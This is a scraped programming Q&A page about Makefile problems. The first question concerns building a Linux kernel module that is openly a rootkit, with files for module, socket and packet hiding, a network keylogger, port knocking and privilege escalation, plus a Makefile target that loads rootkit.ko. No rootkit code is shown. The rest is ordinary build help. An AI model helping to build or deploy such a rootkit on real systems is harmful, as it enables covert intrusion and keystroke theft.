Makefile: Kernel module in subfolders - c

I have a more or less complicated LKM. This LKM contains the directories as shown below:
├── core.c
├── headers
│   ├── core.h
│   └── server.h
├── include
│   ├── headers
│   │   └── utils.h
│   └── utils.c
├── libs
│   ├── headers
│   │   └── syscalltable.h
│   └── syscalltable.c
├── LICENSE
├── Makefile
├── README.md
├── server.c
├── src
│   ├── getdents_hook.c
│   ├── headers
│   │   ├── getdents_hook.h
│   │   ├── module_hiding.h
│   │   ├── network_keylog.h
│   │   ├── packet_hiding.h
│   │   ├── port_knocking.h
│   │   ├── privilege_escalation.h
│   │   └── socket_hiding.h
│   ├── module_hiding.c
│   ├── network_keylog.c
│   ├── packet_hiding.c
│   ├── port_knocking.c
│   ├── privilege_escalation.c
│   └── socket_hiding.c
└── TASKS.md
It seems like a overhead for this small project, but the goal was to create a LKM that could be extended easily.
The problem lies in the Makefile. As every header file is in its respective headers subdirectory, I created a Makefile that looks like this:
# Module name
ROOTKIT = rootkit
# Build
CC = gcc
PWD = $(shell pwd)
UNAME = $(shell uname -r)
MODULEDIR = /lib/modules/$(UNAME)
BUILDDIR = $(MODULEDIR)/build
KERNELDIR = $(MODULEDIR)/kernel
# Headers
CORE_H = headers
LIBS_H = libs/headers
SRCS_H = src/headers
INCL_H = include/headers
# Files
CORE = $(wildcard *.c)
CORE_OBJS = $(patsubst %.c, %.o, $(CORE))
LIBS = $(wildcard libs/*.c)
LIBS_OBJS = $(patsubst %.c, %.o, $(LIBS))
INCL = $(wildcard include/*.c)
INCL_OBJS = $(patsubst %.c, %.o, $(INCL))
# Exception for this one file
NETW = src/network_keylog.c
NETW_OBJS = src/network_keylog.o
SRC = $(wildcard src/*.c)
SRCS = $(filter-out $(NETW), $(SRC))
SRCS_OBJS = $(patsubst %.c, %.o, $(SRCS))
# Objects
# $(CORE_OBJS): $(CORE)
# $(CC) -c -o $# $< -I$(CORE_H) -I$(INCL_H)
# $(LIBS_OBJS): $(LIBS)
# $(CC) -c -o $# $< -I$(LIBS_H) -I$(INCL_H)
# $(SRCS_OBJS): $(SRCS)
# $(CC) -c -o $# $< -I$(SRCS_H) -I$(INCL_H)
# $(NETW_OBJS): $(NETW)
# $(CC) -c -o $# $< -I$(SRCS_H) -I$(CORE_H) -I$(INCL_H)
# Module
obj-m += $(ROOTKIT).o
$(ROOTKIT)-y = $(CORE_OBJS) $(LIBS_OBJS) $(SRCS_OBJS) $(NETW_OBJS)
EXTRA_CFLAGS = -I$(CORE_H) -I$(INCL_H) -I$(LIBS_H) -I$(SRCS_H)
# Recipes
all:
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
insmod $(KERNELDIR)/net/ipv4/netfilter/nf_reject_ipv4.ko
insmod $(KERNELDIR)/net/ipv6/netfilter/nf_reject_ipv6.ko
insmod rootkit.ko
clean:
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean
However I only get this error:
make -C /lib/modules/4.9.0-3-amd64/build M=/home/croemheld/Repositories/lkm-rootkit modules
make[1]: Verzeichnis „/usr/src/linux-headers-4.9.0-3-amd64“ wird betreten
/bin/sh: 1: Syntax error: "(" unexpected
[...]
I know that the Makefile executes its procedure in a shell, but I can't understand what command the shell can't execute or why this is failing in general. Or is this approach completely wrong?
EDIT: Seems like I missed a missing $ in a -I flag...
However, it still does not compile. The problem is that every file includes the utils.h in include/headers/, and I don't know how to specify the compile procedure so that it works.
Currently:
all source files include my own header files (meaning in the *.c files are only includes like "xyz.h" and in the headers only <....h >)
the core.c and server.c include all other header files.
every source file includes the utils.h header and its "own" header file, except for network_keylog.c: this one also includes server.h.
Current output:
make -C /lib/modules/4.9.0-3-amd64/build M=/home/croemheld/Repositories/lkm-rootkit modules
make[1]: Verzeichnis „/usr/src/linux-headers-4.9.0-3-amd64“ wird betreten
CC [M] /home/croemheld/Repositories/lkm-rootkit/src/network_keylog.o
/home/croemheld/Repositories/lkm-rootkit/src/network_keylog.c:1:19: fatal error: utils.h: Datei oder Verzeichnis nicht gefunden
#include "utils.h"
^
compilation terminated.
/usr/src/linux-headers-4.9.0-3-common/scripts/Makefile.build:298: die Regel für Ziel „/home/croemheld/Repositories/lkm-rootkit/src/network_keylog.o“ scheiterte
make[4]: *** [/home/croemheld/Repositories/lkm-rootkit/src/network_keylog.o] Fehler 1

Related

No rule to make target in GCC Makefile

This is the following Makefile at issue:
#
# Compiler flags
#
CC = gcc
CFLAGS = -Wall -Werror -Wextra
#
# Project files
# example -
# SRCS = hash_table.c linked_list.c utils.c common.c business_logic.c user_interface.c
# SRCS = test/gc_test.c src/gc.c
SRCS := $(shell find . -name "*")
OBJS = $(SRCS:.c=.o)
EXE = output.out
FILENAMES := $(shell find . -type f -name "*.c" -printf "%f\n")
FILENAMES_OUT = $(FILENAMES:.c=.o)
#
# Default build settings
#
BUILDDIR = build
BUILDCFLAGS = -g -O0
BUILDEXE = $(BUILDDIR)/$(EXE)
BUILDOBJS = $(addprefix $(BUILDDIR)/, $(FILENAMES_OUT))
# Rules for default build
all: clean build
build: $(BUILDEXE)
$(BUILDEXE): $(BUILDOBJS)
$(CC) $(CFLAGS) $(BUILDCFLAGS) -o $(BUILDEXE) $^ -lcunit
$(BUILDDIR)/%.o: %.c
$(CC) $(CFLAGS) $(BUILDCFLAGS) -c $< -o $#
memtest: $(BUILDEXE)
valgrind --leak-check=full ./$<
#
# Other rules
#
clean:
mkdir -p $(BUILDDIR)
PROBLEM -> make: *** No rule to make target `build/gc_test.o', needed by `build/output.out'. Stop.
PROJECT TREE
.
├── build
├── doc
│   └── design.md
├── Makefile
├── proj
│   ├── code_quality_report.md
│   ├── deviations.md
│   ├── individual_reflection.md
│   ├── team_reflection.md
│   └── test_report.md
├── README.md
├── src
│   ├── gc.c
│   └── headers
│   └── gc.h
└── tests
└── gc_test.c
The issue itself happens in $(BUILDEXE): $(BUILDOBJS) where the dependencies are gc_test.c gc.c. Those dependencies SHOULD get caught in the function below it, because it's input is all the .c files in the build directory. Those files SHOULD get properly matched and then compiled to .o files which then should climb up the tree and produce an executable. I'm confused because $(BUILDOBJS) should be the same as $(BUILDDIR)/%.o.
I'm new to making Makefiles, but I want to get better at it. Please point out better naming conventions or terminology that could have been used better for this post. Thanks!
The problem is here:
FILENAMES := $(shell find . -type f -name "*.c" -printf "%f\n")
This is wrong because -printf "%f\n" prints only the filenames, without any path. You're losing all information about the path where files are found, so how can make find them?
You should change this to simply -print then it will work.

differences between linux and windows makefile?

Already build a C program in Windows environment and make this makefile
# project name (generate executable with this name)
TARGET = Orga_L1_MATURANA
CC = gcc
# compiling flags here
CFLAGS = -Wall -I.
LINKER = gcc
# linking flags here
LFLAGS = -Wall -I. -lm
# change these to proper directories where each file should be
SRCDIR = src
OBJDIR = obj
BINDIR = bin
SOURCES := $(wildcard $(SRCDIR)/main.c)
OBJECTS := $(SOURCES:$(SRCDIR)/%.c=$(OBJDIR)/%.o)
rm = rm -f
$(BINDIR)/$(TARGET): $(OBJECTS)
#$(LINKER) $(OBJECTS) $(LFLAGS) -o $#
#echo "Linking complete!"
$(OBJECTS): $(OBJDIR)/%.o : $(SRCDIR)/%.c
#$(CC) $(CFLAGS) -c $< -o $#
#echo "Compiled "$<" successfully!"
and this tree's see of the code
.
├── bin
│   ├── lineasControl2.txt
│   ├── mipsEjemplo2.asm
│   └── Orga_L1_MATURANA
├── makefile
├── obj
│   └── main.o
├── README.md
└── src
├── 2EnlazadasCursor.c
├── cons.c
├── cons.h
├── funciones.c
├── funciones.h
├── main.c
├── operaciones.c
└── structs.h
its fine the way that im doing the makefile for both OS? Besides, i hear that ubuntu doesnt needs a makefile, is that right? I dont think so.

make using autotools gives undefined reference errors while custom Makefile works fine

I'm trying to convert the build mechanism of ccextractor (Open source closed caption extractor) from custom Makefile to Autotools generated Makefile.
Current Makefile looks like this:
SHELL = /bin/sh
CC = gcc
SYS := $(shell gcc -dumpmachine)
CFLAGS = -O3 -std=gnu99 -s
INCLUDE = -Isrc/gpacmp4/ -Isrc/libpng -Isrc/lib_hash -Isrc/protobuf-c -Isrc/zlib -Isrc/lib_ccx -Isrc/.
INCLUDE += -Isrc/zvbi -Isrc/utf8proc
ALL_FLAGS = -Wno-write-strings -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT
LDFLAGS = -lm
ifneq (, $(findstring linux, $(SYS)))
CFLAGS +=-DGPAC_CONFIG_LINUX
endif
TARGET = ccextractor
OBJS_DIR = objs
VPATH = src:src/gpacmp4:src/libpng:src/zlib:src/lib_ccx:src/zvbi:src/lib_hash:src/utf8proc:src/protobuf-c
SRCS_DIR = src
SRCS_C = $(wildcard $(SRCS_DIR)/*.c)
OBJS = $(SRCS_C:$(SRCS_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_CCX_DIR = $(SRCS_DIR)/lib_ccx
SRCS_CCX = $(wildcard $(SRCS_CCX_DIR)/*.c)
OBJS_CCX = $(SRCS_CCX:$(SRCS_CCX_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_PNG_DIR = $(SRCS_DIR)/libpng
SRCS_PNG = $(wildcard $(SRCS_PNG_DIR)/*.c)
OBJS_PNG = $(SRCS_PNG:$(SRCS_PNG_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_ZVBI_DIR = $(SRCS_DIR)/zvbi
SRCS_ZVBI = $(wildcard $(SRCS_ZVBI_DIR)/*.c)
OBJS_ZVBI = $(SRCS_ZVBI:$(SRCS_ZVBI_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_GPACMP4_DIR = $(SRCS_DIR)/gpacmp4
SRCS_GPACMP4_C = $(wildcard $(SRCS_GPACMP4_DIR)/*.c)
SRCS_GPACMP4_CPP = $(wildcard $(SRCS_GPACMP4_DIR)/*.cpp)
OBJS_GPACMP4 = $(SRCS_GPACMP4_C:$(SRCS_GPACMP4_DIR)/%.c=$(OBJS_DIR)/%.o) \
$(SRCS_GPACMP4_CPP:$(SRCS_GPACMP4_DIR)/%.cpp=$(OBJS_DIR)/%.o)
SRCS_ZLIB_DIR = $(SRCS_DIR)/zlib
SRCS_ZLIB = $(wildcard $(SRCS_ZLIB_DIR)/*.c)
OBJS_ZLIB = $(SRCS_ZLIB:$(SRCS_ZLIB_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_HASH_DIR = $(SRCS_DIR)/lib_hash
SRCS_HASH = $(wildcard $(SRCS_HASH_DIR)/*.c)
OBJS_HASH = $(SRCS_HASH:$(SRCS_HASH_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_UTF8_DIR = $(SRCS_DIR)/utf8proc
SRCS_UTF8 = $(SRCS_UTF8_DIR)/utf8proc.c
OBJS_UTF8 = $(SRCS_UTF8:$(SRCS_UTF8_DIR)/%.c=$(OBJS_DIR)/%.o)
INSTLALL = cp -f -p
INSTLALL_PROGRAM = $(INSTLALL)
DESTDIR = /usr/bin
ifeq ($(ENABLE_HARDSUBX),yes)
ENABLE_OCR=yes
CFLAGS+=-DENABLE_HARDSUBX
CFLAGS+= $(shell pkg-config --cflags libavcodec)
CFLAGS+= $(shell pkg-config --cflags libavformat)
CFLAGS+= $(shell pkg-config --cflags libavutil)
CFLAGS+= $(shell pkg-config --cflags libswscale)
AV_LDFLAGS+= $(shell pkg-config --libs libavcodec )
AV_LDFLAGS+= $(shell pkg-config --libs libavformat )
AV_LDFLAGS+= $(shell pkg-config --libs libavutil )
AV_LDFLAGS+= $(shell pkg-config --libs libswscale )
ifeq ($(AV_LDFLAGS),$(EMPTY))
$(error **ERROR** "libav not found")
else
$(info "libav found")
endif
LDFLAGS+= $(AV_LDFLAGS)
endif
ifeq ($(ENABLE_OCR),yes)
CFLAGS+=-DENABLE_OCR -DPNG_NO_CONFIG_H
LEPT_LDFLAGS+= $(shell pkg-config --libs lept)
ifneq ($(shell pkg-config --exists tesseract), $(EMPTY))
TESS_LDFLAGS+= $(shell pkg-config --libs tesseract)
TESS_CFLAGS+= $(shell pkg-config --cflags tesseract)
else
#fix for raspberry pi not having a pkgconfig file for tesseract
ifneq ($(wildcard /usr/include/tesseract/*),$(EMPTY))
TESS_LDFLAGS+= -ltesseract
TESS_CFLAGS+= -I/usr/include/tesseract
endif
endif
#error checking of library are there or not
ifeq ($(TESS_LDFLAGS),$(EMPTY))
$(error **ERROR** "tesseract not found")
else
#TODO print the version of library found
$(info "tesseract found")
endif
ifeq ($(LEPT_LDFLAGS),$(EMPTY))
$(error **ERROR** "leptonica not found")
else
#TODO print the version of library found
$(info "Leptonica found")
endif
CFLAGS += $(TESS_CFLAGS)
CFLAGS += $(shell pkg-config --cflags lept)
LDFLAGS += $(TESS_LDFLAGS)
LDFLAGS += $(LEPT_LDFLAGS)
endif
ifeq ($(ENABLE_FFMPEG),yes)
CFLAGS+=-DENABLE_FFMPEG
CFLAGS+= $(shell pkg-config --cflags libavcodec)
CFLAGS+= $(shell pkg-config --cflags libavformat)
CFLAGS+= $(shell pkg-config --cflags libavutil)
LDFLAGS+= $(shell pkg-config --libs libavcodec )
LDFLAGS+= $(shell pkg-config --libs libavformat )
LDFLAGS+= $(shell pkg-config --libs libavutil )
endif
.PHONY: all
all: pre-build objs_dir $(TARGET)
.PHONY: objs_dir
objs_dir:
mkdir -p $(OBJS_DIR)
$(TARGET): $(OBJS) $(OBJS_PNG) $(OBJS_GPACMP4) $(OBJS_ZVBI) $(OBJS_ZLIB) $(OBJS_HASH) $(OBJS_CCX) $(OBJS_UTF8)
$(CC) $(ALL_FLAGS) $(CFLAGS) $(OBJS) $(OBJS_CCX) $(OBJS_PNG) $(OBJS_ZVBI) $(OBJS_GPACMP4) $(OBJS_ZLIB) $(OBJS_HASH) $(OBJS_UTF8) $(LDFLAGS) -o $#
$(OBJS_DIR)/%.o: %.c
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) $< -o $#
$(OBJS_DIR)/%.o: %.cpp
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) $< -o $# -Isrc/gpacmp4
$(OBJS_DIR)/ccextractor.o: ccextractor.c
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) -O0 $< -o $#
.PHONY: clean
clean:
rm -rf $(TARGET) 2>/dev/null || true
rm -rf $(OBJS_CCX) $(OBJS_PNG) $(OBJS_ZLIB) $(OBJS_GPACMP4) $(OBJS_HASH) $(OBJS_UTF8) $(OBJS) 2>/dev/null || true
rm -rdf $(OBJS_DIR) 2>/dev/null || true
rm -rf .depend 2>/dev/null || true
.PHONY: install
install: $(TARGET)
$(INSTLALL_PROGRAM) $(TARGET) $(DESTDIR)
.PHONY: uninstall
uninstall:
rm -iv $(DESTDIR)/$(TARGET)
.PHONY: depend dep
depend dep:
$(CC) $(CFLAGS) $(INCLUDE) -E -MM $(SRCS_C) $(SRCS_PNG) $(SRCS_ZVBI) $(SRCS_ZLIB) $(SRCS_HASH) $(SRCS_UTF8) $(SRCS_CCX) \
$(SRCS_GPACMP4_C) $(SRCS_GPACMP4_CPP) |\
sed 's/^[a-zA-Z_0-9]*.o/$(OBJS_DIR)\/&/' > .depend
.PHONY: pre-build
pre-build:
./pre-build.sh
-include .depend
Building through above Makefile works fine. My Makefile.am looks like this:
bin_PROGRAMS = ccextractor
ccextractor_SOURCES = \
**Removing common content of Makefile.am as below due to maximum character limit**
AM_CPPFLAGS = -I src -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/
AM_CFLAGS = -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR
AM_LDFLAGS = -lm -lz -ltesseract -llept
If I run make after autoreconf -i on above file, build fails with error:
/usr/bin/ld: src/gpacmp4/av_parsers.o: undefined reference to symbol 'trunc##GLIBC_2.2.5'
/lib/x86_64-linux-gnu/libm.so.6: error adding symbols: DSO missing from command line
If I run ./configure as ./configure LIBS="-lm -lz" build fails with errors as:
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1358: undefined reference to `gf_isom_get_track_from_file'
src/gpacmp4/drm_sample.o: In function `gf_isom_get_adobe_protection_info':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1378: undefined reference to `gf_isom_get_track_from_file'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1387: undefined reference to `IsMP4Description'
src/gpacmp4/drm_sample.o: In function `gf_isom_cenc_is_pattern_mode':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1401: undefined reference to `gf_isom_get_track_from_file'
src/gpacmp4/drm_sample.o: In function `gf_isom_ipmpx_remove_tool_list':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/gpacmp4/drm_sample.c:1421: undefined reference to `gf_odf_desc_del'
collect2: error: ld returned 1 exit status
tree in src dir is:
.
├── ccextractor.c
├── CCExtractorConfig.h.in
├── ccextractor.o
├── CMakeLists.txt
├── gpacmp4
│   ├── avc_ext.c
│   ├── avc_ext.o
│   ├── avilib.c
│   ├── avilib.o
│   ├── av_parsers.c
│   ├── drm_sample.o
│   ├── error.c
│   ├── error.o
│   ├── gpac
│   │   ├── avparse.h
│   │   ├── base_coding.h
│   │   ├── bitstream.h
│   │   ├── config_file.h
│   │   ├── configuration.h
│   │   ├── constants.h
│   │   ├── events_constants.h
│   │   ├── ietf.h
│   │   ├── internal
│   │   │   ├── avilib.h
│   │   │   ├── isomedia_dev.h
│   │   │   ├── media_dev.h
│   │   │   ├── odf_dev.h
│   │   │   ├── odf_parse_common.h
│   │   │   └── ogg.h
│   │   ├── isomedia.h
│   │   ├── list.h
│   │   ├── math.h
│   │   ├── media_tools.h
│   │   ├── mpeg4_odf.h
│   │   ├── network.h
│   │   ├── revision.h
│   │   ├── setup.h
│   │   ├── sync_layer.h
│   │   ├── tools.h
│   │   ├── utf.h
│   │   └── version.h
│   ├── gpac_ogg.c
│   ├── hinting.c
│   ├── ipmpx_code.c
│   ├── ipmpx_parse.c
│   ├── isom_intern.c
│   ├── isom_read.c
│   ├── isom_store.c
│   ├── isom_write.c
│   ├── list.c
│   ├── math.c
│   ├── media.c
│   ├── media_odf.c
│   ├── meta.c
│   ├── movie_fragments.c
│   ├── mp4.c
│   ├── odf_code.c
│   ├── odf_codec.c
│   ├── odf_command.c
│   ├── os_config_init.c
│   ├── os_divers.c
│   ├── os_file.c
│   ├── qos.c
│   ├── ReadMe.txt
│   ├── sample_descs.c
│   ├── slc.c
│   ├── stbl_read.c
│   ├── stbl_write.c
│   ├── track.c
│   ├── tx3g.c
│   ├── url.c
│   └── utf.c
├── lib_ccx
│   ├── activity.c
│   ├── activity.h
│   ├── asf_constants.h
│   ├── asf_functions.c
│   ├── avc_functions.c
│   ├── avc_functions.h
│   ├── bitstream.h
│   ├── cc_bitstream.c
│   ├── ccfont2.xbm
│   ├── ccx_common_char_encoding.c
│   ├── ccx_common_char_encoding.h
│   ├── ccx_decoders_708.h
│   ├── ccx_decoders_708_output.c
│   ├── ccx_encoders_xds.h
│   ├── ccx_gxf.c
│   ├── ccx_gxf.h
│   ├── ccx_mp4.h
│   ├── dvd_subtitle_decoder.c
│   ├── utility.h
│   ├── wtv_constants.h
│   └── wtv_functions.c
├── lib_hash
│   ├── README
│   ├── sha2.c
│   └── sha2.h
├── libpng
│   ├── png.c
│   ├── pngconf.h
│   ├── pngdebug.h
│   ├── pngerror.c
│   ├── pngget.c
| |
├── protobuf-c
│   ├── protobuf-c.c
│   └── protobuf-c.h
├── utf8proc
│   ├── utf8proc.c
│   ├── utf8proc_data.c
│   └── utf8proc.h
├── win_iconv
│   ├── iconv.h
│   └── win_iconv.c
├── win_spec_incld
│   ├── dirent.h
│   ├── inttypes.h
│   └── stdint.h
├── zlib
│   ├── adler32.c
│   ├── compress.c
│   ├── crc32.c
│   ├── crc32.h
│   ├── deflate.c
│   ├── deflate.h
│   ├── gzclose.c
│   ├── gzguts.h
│   ├── zutil.c
│   └── zutil.h
└── zvbi
├── bcd.h
├── bit_slicer.c
├── bit_slicer.h
├── decoder.c
├── macros.h
├── misc.h
├── raw_decoder.c
├── raw_decoder.h
├── sampling_par.c
├── sampling_par.h
├── sliced.h
└── zvbi_decoder.h
**Stripped some filenames (not directory) due to max character limit**
And also, all includes are done with full path in sub directories of src, like for a file in gpacmp4 directory, #include <gpac/avparse.h>. All but the main ccextractor.c file, for which all the -I flags are provided.
To refer ccextractor original code:
https://github.com/CCExtractor/ccextractor
The original Makefile will be in linux directory.
PS: Currently I'm trying to get the ccextractor build all the checks will be introduced later. For simplified mechanism ccextractor/linux/build is useful to refer.
Even the slightest help is appreciated.
UPDATE: (courtesy of #MadScientist)
I updated Makefile.am as:
AUTOMAKE_OPTIONS = foreign
bin_PROGRAMS = ccextractor
ccextractor_SOURCES = \
src/ccextractor.c \
src/gpacmp4/avc_ext.c \
src/gpacmp4/avilib.c \
src/gpacmp4/av_parsers.c \
src/gpacmp4/base_encoding.c \
src/gpacmp4/bitstream.c \
src/gpacmp4/box_code_3gpp.c \
src/gpacmp4/box_code_adobe.c \
src/gpacmp4/box_code_apple.c \
src/gpacmp4/box_code_base.c \
src/gpacmp4/box_code_drm.c \
src/gpacmp4/box_code_meta.c \
src/gpacmp4/box_funcs.c \
src/gpacmp4/configfile.c \
src/gpacmp4/data_map.c \
src/gpacmp4/desc_private.c \
src/gpacmp4/descriptors.c \
src/gpacmp4/drm_sample.c \
src/gpacmp4/error.c \
src/gpacmp4/gpac/avparse.h \
src/gpacmp4/gpac/base_coding.h \
src/gpacmp4/gpac/bitstream.h \
src/gpacmp4/gpac/config_file.h \
src/gpacmp4/gpac/configuration.h \
src/gpacmp4/gpac/constants.h \
src/gpacmp4/gpac/events_constants.h \
src/gpacmp4/gpac/ietf.h \
src/gpacmp4/gpac/internal
src/gpacmp4/gpac/internal/avilib.h \
src/gpacmp4/gpac/internal/isomedia_dev.h \
src/gpacmp4/gpac/internal/media_dev.h \
src/gpacmp4/gpac/internal/odf_dev.h \
src/gpacmp4/gpac/internal/odf_parse_common.h \
src/gpacmp4/gpac/internal/ogg.h \
src/gpacmp4/gpac/isomedia.h \
src/gpacmp4/gpac/list.h \
src/gpacmp4/gpac/math.h \
src/gpacmp4/gpac/media_tools.h \
src/gpacmp4/gpac/mpeg4_odf.h \
src/gpacmp4/gpac/network.h \
src/gpacmp4/gpac/revision.h \
src/gpacmp4/gpac/setup.h \
src/gpacmp4/gpac/sync_layer.h \
src/gpacmp4/gpac/tools.h \
src/gpacmp4/gpac/utf.h \
src/gpacmp4/gpac/version.h \
src/gpacmp4/gpac_ogg.c \
src/gpacmp4/hinting.c \
src/gpacmp4/ipmpx_code.c \
src/gpacmp4/ipmpx_parse.c \
src/gpacmp4/isom_intern.c \
src/gpacmp4/isom_read.c \
src/gpacmp4/isom_store.c \
src/gpacmp4/isom_write.c \
src/gpacmp4/list.c \
src/gpacmp4/math.c \
src/gpacmp4/media.c \
src/gpacmp4/media_odf.c \
src/gpacmp4/meta.c \
src/gpacmp4/movie_fragments.c \
src/gpacmp4/mp4.c \
src/gpacmp4/odf_code.c \
src/gpacmp4/odf_codec.c \
src/gpacmp4/odf_command.c \
src/gpacmp4/os_config_init.c \
src/gpacmp4/os_divers.c \
src/gpacmp4/os_file.c \
src/gpacmp4/qos.c \
src/gpacmp4/ReadMe.txt
src/gpacmp4/sample_descs.c \
src/gpacmp4/slc.c \
src/gpacmp4/stbl_read.c \
src/gpacmp4/stbl_write.c \
src/gpacmp4/track.c \
src/gpacmp4/tx3g.c \
src/gpacmp4/url.c \
src/gpacmp4/utf.c \
src/lib_ccx/activity.c \
src/lib_ccx/activity.h \
src/lib_ccx/asf_constants.h \
src/lib_ccx/asf_functions.c \
src/lib_ccx/avc_functions.c \
src/lib_ccx/avc_functions.h \
src/lib_ccx/bitstream.h \
src/lib_ccx/cc_bitstream.c \
src/lib_ccx/ccx_common_char_encoding.c \
src/lib_ccx/ccx_common_char_encoding.h \
src/lib_ccx/ccx_common_common.c \
src/lib_ccx/ccx_common_common.h \
src/lib_ccx/ccx_common_constants.c \
src/lib_ccx/ccx_common_constants.h \
src/lib_ccx/ccx_common_option.c \
src/lib_ccx/ccx_common_option.h \
src/lib_ccx/ccx_common_platform.h \
src/lib_ccx/ccx_common_structs.h \
src/lib_ccx/ccx_common_timing.c \
src/lib_ccx/ccx_common_timing.h \
src/lib_ccx/ccx_decoders_608.c \
src/lib_ccx/ccx_decoders_608.h \
src/lib_ccx/ccx_decoders_708.c \
src/lib_ccx/ccx_decoders_708_encoding.c \
src/lib_ccx/ccx_decoders_708_encoding.h \
src/lib_ccx/ccx_decoders_708.h \
src/lib_ccx/ccx_decoders_708_output.c \
src/lib_ccx/ccx_decoders_708_output.h \
src/lib_ccx/ccx_decoders_common.c \
src/lib_ccx/ccx_decoders_common.h \
src/lib_ccx/ccx_decoders_isdb.c \
src/lib_ccx/ccx_decoders_isdb.h \
src/lib_ccx/ccx_decoders_structs.h \
src/lib_ccx/ccx_decoders_vbi.c \
src/lib_ccx/ccx_decoders_vbi.h \
src/lib_ccx/ccx_decoders_xds.c \
src/lib_ccx/ccx_decoders_xds.h \
src/lib_ccx/ccx_demuxer.c \
src/lib_ccx/ccx_demuxer.h \
src/lib_ccx/ccx_dtvcc.c \
src/lib_ccx/ccx_dtvcc.h \
src/lib_ccx/ccx_encoders_common.c \
src/lib_ccx/ccx_encoders_common.h \
src/lib_ccx/ccx_encoders_curl.c \
src/lib_ccx/ccx_encoders_g608.c \
src/lib_ccx/ccx_encoders_helpers.c \
src/lib_ccx/ccx_encoders_helpers.h \
src/lib_ccx/ccx_encoders_sami.c \
src/lib_ccx/ccx_encoders_smptett.c \
src/lib_ccx/ccx_encoders_splitbysentence.c \
src/lib_ccx/ccx_encoders_spupng.c \
src/lib_ccx/ccx_encoders_spupng.h \
src/lib_ccx/ccx_encoders_srt.c \
src/lib_ccx/ccx_encoders_ssa.c \
src/lib_ccx/ccx_encoders_structs.h \
src/lib_ccx/ccx_encoders_transcript.c \
src/lib_ccx/ccx_encoders_webvtt.c \
src/lib_ccx/ccx_encoders_xds.c \
src/lib_ccx/ccx_encoders_xds.h \
src/lib_ccx/ccx_gxf.c \
src/lib_ccx/ccx_gxf.h \
src/lib_ccx/ccx_mp4.h \
src/lib_ccx/ccx_share.c \
src/lib_ccx/ccx_share.h \
src/lib_ccx/ccx_sub_entry_message.pb-c.c \
src/lib_ccx/ccx_sub_entry_message.pb-c.h \
src/lib_ccx/CMakeLists.txt
src/lib_ccx/compile_info.h \
src/lib_ccx/compile_info_real.h \
src/lib_ccx/configuration.c \
src/lib_ccx/configuration.h \
src/lib_ccx/disable_warnings.h \
src/lib_ccx/dvb_subtitle_decoder.c \
src/lib_ccx/dvb_subtitle_decoder.h \
src/lib_ccx/dvd_subtitle_decoder.c \
src/lib_ccx/dvd_subtitle_decoder.h \
src/lib_ccx/es_functions.c \
src/lib_ccx/es_userdata.c \
src/lib_ccx/ffmpeg_intgr.c \
src/lib_ccx/ffmpeg_intgr.h \
src/lib_ccx/file_buffer.h \
src/lib_ccx/file_functions.c \
src/lib_ccx/general_loop.c \
src/lib_ccx/hamming.h \
src/lib_ccx/hardsubx.c \
src/lib_ccx/hardsubx_classifier.c \
src/lib_ccx/hardsubx_decoder.c \
src/lib_ccx/hardsubx.h \
src/lib_ccx/hardsubx_imgops.c \
src/lib_ccx/hardsubx_utility.c \
src/lib_ccx/lib_ccx.c \
src/lib_ccx/lib_ccx.h \
src/lib_ccx/list.h \
src/lib_ccx/matroska.c \
src/lib_ccx/matroska.h \
src/lib_ccx/myth.c \
src/lib_ccx/networking.c \
src/lib_ccx/networking.h \
src/lib_ccx/ocr.c \
src/lib_ccx/ocr.h \
src/lib_ccx/output.c \
src/lib_ccx/params.c \
src/lib_ccx/params_dump.c \
src/lib_ccx/sequencing.c \
src/lib_ccx/spupng_encoder.c \
src/lib_ccx/spupng_encoder.h \
src/lib_ccx/stdintmsc.h \
src/lib_ccx/stream_functions.c \
src/lib_ccx/teletext.h \
src/lib_ccx/telxcc.c \
src/lib_ccx/ts_functions.c \
src/lib_ccx/ts_functions.h \
src/lib_ccx/ts_info.c \
src/lib_ccx/ts_tables.c \
src/lib_ccx/ts_tables_epg.c \
src/lib_ccx/utility.c \
src/lib_ccx/utility.h \
src/lib_ccx/wtv_constants.h \
src/lib_ccx/wtv_functions.c \
src/lib_hash/sha2.c \
src/lib_hash/sha2.h \
src/libpng/png.c \
src/libpng/pngconf.h \
src/libpng/pngdebug.h \
src/libpng/pngerror.c \
src/libpng/pngget.c \
src/libpng/png.h \
src/libpng/pnginfo.h \
src/libpng/pnglibconf.h \
src/libpng/pngmem.c \
src/libpng/pngpread.c \
src/libpng/pngpriv.h \
src/libpng/pngread.c \
src/libpng/pngrio.c \
src/libpng/pngrtran.c \
src/libpng/pngrutil.c \
src/libpng/pngset.c \
src/libpng/pngstruct.h \
src/libpng/pngtrans.c \
src/libpng/pngwio.c \
src/libpng/pngwrite.c \
src/libpng/pngwtran.c \
src/libpng/pngwutil.c \
src/protobuf-c/protobuf-c.c \
src/protobuf-c/protobuf-c.h \
src/utf8proc/utf8proc.c \
src/utf8proc/utf8proc_data.c \
src/utf8proc/utf8proc.h \
src/win_iconv/iconv.h \
src/win_iconv/win_iconv.c \
src/win_spec_incld/dirent.h \
src/win_spec_incld/inttypes.h \
src/win_spec_incld/stdint.h \
src/zlib/adler32.c \
